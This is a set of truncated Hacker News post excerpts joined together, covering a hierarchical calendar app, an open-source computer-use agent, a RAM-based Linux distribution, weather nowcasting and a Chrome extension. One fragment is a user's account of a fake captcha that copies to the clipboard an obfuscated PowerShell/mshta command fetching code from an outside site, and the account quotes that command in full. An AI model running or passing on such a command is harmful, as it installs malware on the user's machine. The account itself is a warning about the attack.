Show HN: One page personal calendar with hierarchyhttps://news.ycombinator.com/item?id=49119723Hello everyone! actions.life is a one page personal calendar. Unlike traditional to-do lists, which divide information into many pages, this app uses hierarchy to fit everything* on one page.The UI is designed to be predictable, like a physical desk with moveable objects, so nothing gets forgotten. The limitation from this physical design helps with focus and restraint: unlike knowledge bases, which are vast and interconnected, “action bases” should be constraint and scoped, for encouraging action.It complements apps like Notion and Google Calendar, and works for mobile and desktop on iOS 26+ and Chrome.I hope you can give it a shot and become my user! I will fix things and improve things (I've been full-time since 2024).https://beta.actions.life

Show HN: Open-Cowork – an open-source, model-agnostic computer-use agenthttps://github.com/coasty-ai/open-coworkHi HN,We built Open Cowork, an MIT-licensed desktop agent that can operate a computer through screenshots, mouse input, and keyboard input.We started working on this after using cowork-style computer agents for longer tasks. The interaction model was useful, but computer use burns through model calls much faster than chat: take a screenshot, decide what to do, perform an action, inspect the result, and repeat.We wanted to separate that agent loop from any one model or subscription.Open Cowork currently works with local models through Ollama and hosted models through providers including OpenAI, Anthropic, Google, xAI, Mistral, and OpenRouter. You can watch the agent’s actions as they happen and interrupt it during a run.The basic loop is:Capture the current screen Send the screenshot and task state to the model Parse the proposed action Execute the mouse or keyboard action Capture the resulting state Continue until completion, interruption, or a safety conditionTwo annoyingly common fai

But a couple stood out to me.Rive. Seems to be a library for rendering vector animations. I don’t see how their cookies are necessary. This should all be a client-side dependency. Further, animations aren’t even necessary in the first place.Swift-avif-decode. Also a client side library for rendering images. I don’t see any reason they should be adding cookies.

Ask HN: Looking for testers for my RAM-based Linux distributionhttps://news.ycombinator.com/item?id=49102865Hi,I have been working on a project called Invelinux for quite some time now, and now that I have released the release candidate versions, I thought about posting it on Hacker News for people to try it out.The thing that makes it stand out is its use of the Toybox userspace project, a BSD-licensed alternative to Busybox and musl C library instead of the GNU C library. It also features a very minimal framework called AMPS (Automatically Mounted Packaging System) which mounts an external drive that functions as the non-volatile storage part of the OS. System configurations, applications/scripts etc. are all stored inside the /storage/AMPS directory. Since the base system is running on RAM, when the system is rebooted, the whole system gets wiped clean. But the external storage and configurations stay intact, allowing you to load your configurations easily.To access and edit these configurations, several custom TUI tools were made so the user doesn't have to mess around in /storage/AMPS/e

Transfer context from one agent to another agent mid taskhttps://news.ycombinator.com/item?id=49102632Hello HN, If you integrate your agents with decispher you can transfer context from one agent to another agents in 2 ways -:1) If you are working on git branch then branchstory feature keeps on recording your session activity like user prompts -> agent's reasoning -> agent's action -> edited files. These recordings can be played by other agent/human taking up task next. Agents can also write handoff note for other agents.2) If you are connected using Decispher mcp then this mcp provides you a tool with copy_context and paste_context. Copy_context tools gives you a key which you use as paste_context(key) inside any other agent on any machine and your context of chat will be transfered.Try at decispher.com

Show HN: Experiments with Weather Datahttps://strataweather.com/mapI had been wanting to try experimenting with nowcasting since the death of Dark Sky and finally got around to it. This application essentially became a playground for me to experiment with various weather datasets and geospatial visualizations.Some interesting concepts that came from it:The nowcast is using pySTEPS optical flow under the hood: https://pysteps.readthedocs.io/en/latest/auto_examples/plot_.... This library is super cool. It bugged me that every radar visualization just gave you choppy snapshots in time, so I spent some time working on building a smooth interpolation. The backend passes keyframes along with motion data from the optical flow analysis and then has a custom WebGL shader to do the interpolation which lets you scrub the timeline and have a smooth interpolation.The other forecast tiles and the main weather page are using the average of many different weather models. You can see every model that factors in on the models page: https://strataweather.com/models. Thi

When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha. I clicked it, the spinner spun, and a box opened on the right, showing the traditional "Verify you're human" white title on a blue background.It showed 2 "Manual Verification Steps" : 1. Press Win + R 2. Press Ctrl + V and press RunAt first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.I opened a new type and to my surprise, the something new was in my clipboard : "pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn't planning to) and explained the command would download and

Once you've saved a few hundred documents, you must endure an endless paginated scroll, 25 records at a time.My solution: Shoebox Plus Organizer — a Manifest V3 Chrome extension that loads every page of your Shoebox in the background, then provides live full-text search, date sorting, and record-type filtering, all client-side over the DOM that's already rendered on the page.Everything runs on-device. No servers, no external API calls, no analytics. There's nowhere for the data to go. It doesn't scrape or automate faster than a human clicking through pages. Shoebox Plus Organizer reformats what's already loaded. Works across all 11 international Ancestry sites (.com, .co.uk, .ca, .com.au, .
